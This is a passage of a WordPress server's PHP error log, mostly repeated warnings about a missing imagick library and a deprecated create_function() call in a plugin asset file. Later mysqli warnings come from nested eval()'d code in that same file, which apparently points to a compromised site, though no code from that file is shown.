/home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:39:15 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:39:15 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:39:24 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:39:24 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:39:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:39:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:39:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:39:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:39:56 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:39:56 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:40:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:40:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:40:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:40:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:40:20 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:40:20 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:40:33 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:40:33 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:40:42 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:40:42 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:40:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:40:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:41:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:41:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:41:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:41:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:41:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:41:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:41:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:41:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:41:45 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:41:45 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:41:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:41:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:42:10 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:42:10 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:42:18 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:42:18 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:42:26 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:42:26 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:42:43 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:42:43 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:42:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:42:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:42:52 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:42:52 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:09 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:09 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:17 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:17 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:19 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:19 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:35 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:35 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:36 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:36 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:37 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:37 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:46 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:46 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:54 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:54 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:43:55 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:43:55 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:44:04 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:44:04 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:44:13 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:44:13 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:44:14 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:44:14 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:44:31 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:44:31 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:44:41 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:44:41 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:44:50 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:44:50 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 18:45:07 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 18:45:07 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 21:29:30 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 21:29:30 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 21:29:44 UTC] PHP Warning: PHP Startup: Unable to load dynamic library 'imagick.so' (tried: /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so (libMagickWand.so.5: cannot open shared object file: No such file or directory), /opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so (/opt/cpanel/ea-php73/root/usr/lib64/php/modules/imagick.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0 [29-May-2023 21:29:44 UTC] PHP Deprecated: Function create_function() is deprecated in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php on line 1 [29-May-2023 21:29:47 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:47 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:47 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:47 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:47 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:47 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 UTC] PHP Warning: mysqli::__construct(): (HY000/2002): Failed to parse IPv6 address "[[softdbhost]]:3306" in /home/wwgoat/public_html/blog/wp-content/plugins/foxiz-core/lib/redux-framework/assets/js/media/media/index.php(1) : runtime-created function(1) : eval()'d code(1) : eval()'d code on line 1 [29-May-2023 21:29:48 